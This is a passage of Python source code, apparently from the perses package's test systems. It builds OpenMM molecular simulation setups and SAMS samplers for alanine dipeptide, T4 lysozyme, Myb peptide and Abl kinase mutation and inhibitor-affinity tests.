>>> testsystem = AlanineDipeptideValenceTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['vacuum']
"""
def __init__(self, **kwargs):
super(AlanineDipeptideValenceTestSystem, self).__init__(**kwargs)
environments = ['vacuum']
# Write atom-by-atom geometry output.
self.geometry_engine.write_proposal_pdb = False
#self.geometry_engine.pdb_filename_prefix = 'geometry2'
# Create a system generator for our desired forcefields.
system_generators = dict()
from pkg_resources import resource_filename
valence_xml_filename = resource_filename('perses', 'data/amber99sbildn-valence-only.xml')
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = { 'implicitSolvent' : None, 'constraints' : constraints }, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff})
# Create peptide in solvent.
from openmmtools.testsystems import AlanineDipeptideExplicit, AlanineDipeptideImplicit, AlanineDipeptideVacuum
from pkg_resources import resource_filename
pdb_filename = resource_filename('openmmtools', 'data/alanine-dipeptide-gbsa/alanine-dipeptide.pdb')
from simtk.openmm.app import PDBFile
topologies = dict()
positions = dict()
pdbfile = PDBFile(pdb_filename)
topologies['vacuum'] = pdbfile.getTopology()
positions['vacuum'] = pdbfile.getPositions(asNumpy=True)
# Set up the proposal engines.
from perses.rjmc.topology_proposal import PointMutationEngine
proposal_metadata = {
'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file
'always_change' : True # don't propose self-transitions
}
proposal_engines = dict()
chain_id = ' '
allowed_mutations = [('2','PHE')]
proposal_metadata = {"always_change":True}
for environment in environments:
proposal_engines[environment] = PointMutationEngine(topologies[environment],system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations, always_change=True)
# Generate systems
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':50}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['vacuum'] : 1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.environments = environments
self.topologies = topologies
self.positions = positions
self.systems = systems
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
def load_via_pdbfixer(filename=None, pdbid=None):
"""
Load a PDB file via PDBFixer, keeping all heterogens and building in protons for any crystallographic waters.
"""
from pdbfixer import PDBFixer
fixer = PDBFixer(filename=filename, pdbid=pdbid)
fixer.findMissingResidues()
fixer.findNonstandardResidues()
fixer.replaceNonstandardResidues()
fixer.findMissingAtoms()
fixer.addMissingAtoms()
fixer.addMissingHydrogens(7.0)
return [fixer.topology, fixer.positions]
class T4LysozymeMutationTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for testing PointMutationEngine on T4 lysozyme in various solvents.
Wild Type is T4 L99A
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit', 'implicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import T4LysozymeTestSystem
>>> testsystem = T4LysozymeTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['implicit']
"""
def __init__(self, **kwargs):
super(T4LysozymeMutationTestSystem, self).__init__(**kwargs)
# environments = ['explicit-complex', 'explicit-receptor', 'implicit-complex', 'implicit-receptor', 'vacuum-complex', 'vacuum-receptor']
environments = ['explicit-complex', 'explicit-receptor', 'vacuum-complex', 'vacuum-receptor']
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Create a system generator for our desired forcefields.
from pkg_resources import resource_filename
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic})
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2})
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={ 'nonbondedMethod' : app.NoCutoff})
system_generators['explicit-complex'] = system_generators['explicit']
system_generators['explicit-receptor'] = system_generators['explicit']
#system_generators['implicit-complex'] = system_generators['implicit']
#system_generators['implicit-receptor'] = system_generators['implicit']
system_generators['vacuum-complex'] = system_generators['vacuum']
system_generators['vacuum-receptor'] = system_generators['vacuum']
# Create receptor in solvent.
from pkg_resources import resource_filename
pdb_filename = resource_filename('perses', 'data/181L.pdb')
import pdbfixer
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
[fixer_topology, fixer_positions] = load_via_pdbfixer(pdb_filename)
modeller = Modeller(fixer_topology, fixer_positions)
residues_to_delete = [ residue for residue in modeller.getTopology().residues() if residue.name in ['HED','CL','HOH'] ]
modeller.delete(residues_to_delete)
receptor_modeller = copy.deepcopy(modeller)
ligand_modeller = copy.deepcopy(modeller)
for chain in receptor_modeller.getTopology().chains():
pass
chains_to_delete = [chain]
receptor_modeller.delete(chains_to_delete)
topologies['receptor'] = receptor_modeller.getTopology()
positions['receptor'] = receptor_modeller.getPositions()
for chain in ligand_modeller.getTopology().chains():
break
chains_to_delete = [chain]
ligand_modeller.delete(chains_to_delete)
for residue in ligand_modeller.getTopology().residues():
if residue.name == 'BNZ':
break
from perses.utils.openeye import extractPositionsFromOEMol, giveOpenmmPositionsToOEMol
import perses.rjmc.geometry as geometry
from perses.rjmc.topology_proposal import TopologyProposal
# create OEMol version of benzene
mol = smiles_to_oemol('c1ccccc1')
new_residue = forcefield_generators.generateTopologyFromOEMol(mol)
for res in new_residue.residues():
res.name = 'BNZ'
bnz_new_sys = system_generators['vacuum'].create_system(new_residue)
kB = unit.BOLTZMANN_CONSTANT_kB * unit.AVOGADRO_CONSTANT_NA
temperature = 300.0 * unit.kelvin
kT = kB * temperature
beta = 1.0/kT
adding_hydrogen_proposal = TopologyProposal(new_topology=new_residue, new_system =bnz_new_sys, old_topology=ligand_modeller.topology, old_system =bnz_new_sys, logp_proposal = 0.0, new_to_old_atom_map = {0:0,1:1,2:2,3:3,4:4,5:5}, old_chemical_state_key='',new_chemical_state_key='')
geometry_engine = geometry.FFAllAngleGeometryEngine()
new_positions, logp = geometry_engine.propose(adding_hydrogen_proposal, ligand_modeller.positions, beta)
modeller = copy.deepcopy(receptor_modeller)
modeller.add(new_residue, new_positions)
topologies['complex'] = modeller.getTopology()
positions['complex'] = modeller.getPositions()
# Create all environments.
for environment in ['implicit', 'vacuum']:
for component in ['receptor', 'complex']:
topologies[environment + '-' + component] = topologies[component]
positions[environment + '-' + component] = positions[component]
# Set up in explicit solvent.
for component in ['receptor', 'complex']:
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom)
atoms = list(modeller.topology.atoms())
print('Solvated %s has %s atoms' % (component, len(atoms)))
topologies['explicit' + '-' + component] = modeller.getTopology()
positions['explicit' + '-' + component] = modeller.getPositions()
# Set up the proposal engines.
allowed_mutations = [
('99','GLY'),
('102','GLN'),
('102','HIS'),
('102','GLU'),
('102','LEU'),
('153','ALA'),
('108','VAL'),
('99','GLY'),
('108','VAL')]
from perses.rjmc.topology_proposal import PointMutationEngine
proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'] }
proposal_engines = dict()
chain_id = 'A'
for environment in environments:
proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations)
# Generate systems
systems = dict()
for environment in environments:
print(environment)
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
for component in ['receptor', 'complex']:
thermodynamic_states['explicit' + '-' + component] = states.ThermodynamicState(system=systems['explicit' + '-' + component], temperature=temperature, pressure=pressure)
#thermodynamic_states['implicit' + '-' + component] = ThermodynamicState(system=systems['implicit' + '-' + component], temperature=temperature)
thermodynamic_states['vacuum' + '-' + component] = states.ThermodynamicState(system=systems['vacuum' + '-' + component], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
if environment[0:8] == 'explicit':
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['explicit-complex'] : 1.0, sams_samplers['explicit-receptor'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.environments = environments
self.topologies = topologies
self.positions = positions
self.systems = systems
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
class MybTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for testing PointMutationEngine on Myb:peptide interaction in various solvents.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit', 'implicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import MybTestSystem
>>> testsystem = MybTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum-peptide'].create_system(testsystem.topologies['vacuum-peptide'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['implicit-peptide']
"""
def __init__(self, **kwargs):
super(MybTestSystem, self).__init__(**kwargs)
environments = ['explicit-complex', 'explicit-peptide', 'implicit-complex', 'implicit-peptide', 'vacuum-complex', 'vacuum-peptide']
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Use sterics in proposals
self.geometry_engine.use_sterics = True
# Write atom-by-atom geometry output.
self.geometry_engine.write_proposal_pdb = True
self.geometry_engine.pdb_filename_prefix = 'geometry'
# Create a system generator for our desired forcefields.
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic})
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2})
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff})
system_generators['explicit-complex'] = system_generators['explicit']
system_generators['explicit-peptide'] = system_generators['explicit']
# system_generators['implicit-complex'] = system_generators['implicit']
# system_generators['implicit-peptide'] = system_generators['implicit']
system_generators['vacuum-complex'] = system_generators['vacuum']
system_generators['vacuum-peptide'] = system_generators['vacuum']
# Create peptide in solvent.
from pkg_resources import resource_filename
pdb_filename = resource_filename('perses', 'data/1sb0.pdb')
import pdbfixer
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
#pdbfile = PDBFile(pdb_filename)
[fixer_topology, fixer_positions] = load_via_pdbfixer(pdb_filename)
topologies['complex'] = fixer_topology
positions['complex'] = fixer_positions
modeller = Modeller(topologies['complex'], positions['complex'])
chains_to_delete = [ chain for chain in modeller.getTopology().chains() if chain.id == 'A' ] # remove chain A
modeller.delete(chains_to_delete)
topologies['peptide'] = modeller.getTopology()
positions['peptide'] = modeller.getPositions()
# Create all environments.
for environment in ['vacuum']:
for component in ['peptide', 'complex']:
topologies[environment + '-' + component] = topologies[component]
positions[environment + '-' + component] = positions[component]
# Set up in explicit solvent.
for component in ['peptide', 'complex']:
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies['explicit' + '-' + component] = modeller.getTopology()
positions['explicit' + '-' + component] = modeller.getPositions()
# Set up the proposal engines.
allowed_mutations = list()
for resid in ['91', '99', '103', '105']:
for resname in ['ALA', 'LEU', 'VAL', 'PHE', 'CYS', 'THR', 'TRP', 'TYR', 'GLU', 'ASP', 'LYS', 'ARG', 'ASN']:
allowed_mutations.append((resid, resname))
from perses.rjmc.topology_proposal import PointMutationEngine
proposal_metadata = {
'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file
'always_change' : True # don't propose self-transitions
}
proposal_engines = dict()
chain_id = 'B'
for environment in environments:
proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations)
# Generate systems
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
for component in ['peptide', 'complex']:
thermodynamic_states['explicit' + '-' + component] = states.ThermodynamicState(system=systems['explicit' + '-' + component], temperature=temperature, pressure=pressure)
#thermodynamic_states['implicit' + '-' + component] = states.ThermodynamicState(system=systems['implicit' + '-' + component], temperature=temperature)
thermodynamic_states['vacuum' + '-' + component] = states.ThermodynamicState(system=systems['vacuum' + '-' + component], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
if environment[0:8] == 'explicit':
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
00 # reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':0}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-peptide'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.environments = environments
self.topologies = topologies
self.positions = positions
self.systems = systems
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
class AblImatinibResistanceTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for testing PointMutationEngine on Abl:imatinib.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AblImatinibResistanceTestSystem
>>> testsystem = AblImatinibResistanceTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum-inhibitor'].create_system(testsystem.topologies['vacuum-inhibitor'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['vacuum-inhibitor']
"""
def __init__(self, **kwargs):
super(AblImatinibResistanceTestSystem, self).__init__(**kwargs)
solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working
# solvents = ['vacuum'] # DEBUG
components = ['receptor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design
padding = 9.0*unit.angstrom
explicit_solvent_model = 'tip3p'
setup_path = 'data/abl-imatinib'
thermodynamic_states = dict()
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Construct list of all environments
environments = list()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
environments.append(environment)
# Create a system generator for desired forcefields
from pkg_resources import resource_filename
gaff_xml_filename = resource_filename('perses', 'data/gaff.xml')
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None})
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2})
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None})
# Copy system generators for all environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
system_generators[environment] = system_generators[solvent]
# Load topologies and positions for all components
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
for component in components:
pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component))
pdbfile = PDBFile(pdb_filename)
topologies[component] = pdbfile.topology
positions[component] = pdbfile.positions
# Construct positions and topologies for all solvent environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
if solvent == 'explicit':
# Create MODELLER object.
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies[environment] = modeller.getTopology()
positions[environment] = modeller.getPositions()
else:
environment = solvent + '-' + component
topologies[environment] = topologies[component]
positions[environment] = positions[component]
# Set up resistance mutation proposal engines
allowed_mutations = list()
# TODO: Expand this beyond the ATP binding site
for resid in ['22', '37', '52', '55', '65', '81', '125', '128', '147', '148']:
for resname in ['ALA', 'CYS', 'ASP', 'GLU', 'PHE', 'HIS', 'ILE', 'LYS', 'LEU', 'MET', 'ASN', 'PRO', 'GLN', 'ARG', 'SER', 'THR', 'VAL', 'TRP', 'TYR']:
allowed_mutations.append((resid, resname))
from perses.rjmc.topology_proposal import PointMutationEngine
proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'] }
proposal_engines = dict()
chain_id = 'A'
for solvent in solvents:
for component in ['complex', 'receptor']: # Mutations only apply to components that contain the kinase
environment = solvent + '-' + component
proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations)
# Generate systems ror all environments
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
thermodynamic_states = dict()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
if solvent == 'explicit':
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature)
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, self.geometry_engine, proposal_engines[environment], options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
thermodynamic_states[environment] = thermodynamic_state
# Create test MultiTargetDesign sampler.
# TODO: Replace this with inhibitor:kinase and ATP:kinase ratio
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-receptor'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.components = components
self.solvents = solvents
self.environments = environments
self.topologies = topologies
self.positions = positions
self.systems = systems
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
# This system must currently be minimized.
minimize_wrapper(self)
class AblAffinityTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for optimizing kinase inhibitor affinity to Abl.
TODO: Generalize to standard inhibitor:protein test system and extend to T4 lysozyme small molecules.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AblAffinityTestSystem
>>> testsystem = AblAffinityestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum-inhibitor'].create_system(testsystem.topologies['vacuum-inhibitor'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['vacuum-inhibitor']
"""
def __init__(self, **kwargs):
super(AblAffinityTestSystem, self).__init__(**kwargs)
solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working
solvents = ['vacuum'] # DEBUG
components = ['inhibitor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design
padding = 9.0*unit.angstrom
explicit_solvent_model = 'tip3p'
setup_path = 'data/abl-imatinib'
thermodynamic_states = dict()
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Construct list of all environments
environments = list()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
environments.append(environment)
# Read SMILES from CSV file of clinical kinase inhibitors.
from pkg_resources import resource_filename
smiles_filename = resource_filename('perses', 'data/clinical-kinase-inhibitors.csv')
import csv
molecules = list()
with open(smiles_filename, 'r') as csvfile:
csvreader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in csvreader:
name = row[0]
smiles = row[1]
molecules.append(smiles)
# Add current molecule
molecules.append('Cc1ccc(cc1Nc2nccc(n2)c3cccnc3)NC(=O)c4ccc(cc4)C[NH+]5CCN(CC5)C')
self.molecules = molecules
# Expand molecules without explicit stereochemistry and make canonical isomeric SMILES.
molecules = sanitizeSMILES(self.molecules)
molecules = canonicalize_SMILES(molecules)
# Create a system generator for desired forcefields
from pkg_resources import resource_filename
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield)
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2},
# molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
# small_molecule_forcefield = small_molecule_forcefield)
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
small_molecule_forcefield = small_molecule_forcefield)
# Copy system generators for all environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
system_generators[environment] = system_generators[solvent]
# Load topologies and positions for all components
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
for component in components:
pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component))
print(pdb_filename)
pdbfile = PDBFile(pdb_filename)
topologies[component] = pdbfile.topology
positions[component] = pdbfile.positions
# Construct positions and topologies for all solvent environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
if solvent == 'explicit':
# Create MODELLER object.
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies[environment] = modeller.getTopology()
positions[environment] = modeller.getPositions()
else:
environment = solvent + '-' + component
topologies[environment] = topologies[component]
positions[environment] = positions[component]
# Set up the proposal engines.
from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine
proposal_metadata = { }
proposal_engines = dict()
from perses.utils.openeye import smiles_to_oemol
list_of_oemols = []
for smi in molecules:
mol = smiles_to_oemol(smi)
list_of_oemols.append(mol)
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name='MOL', storage=storage)
# Generate systems
systems = dict()
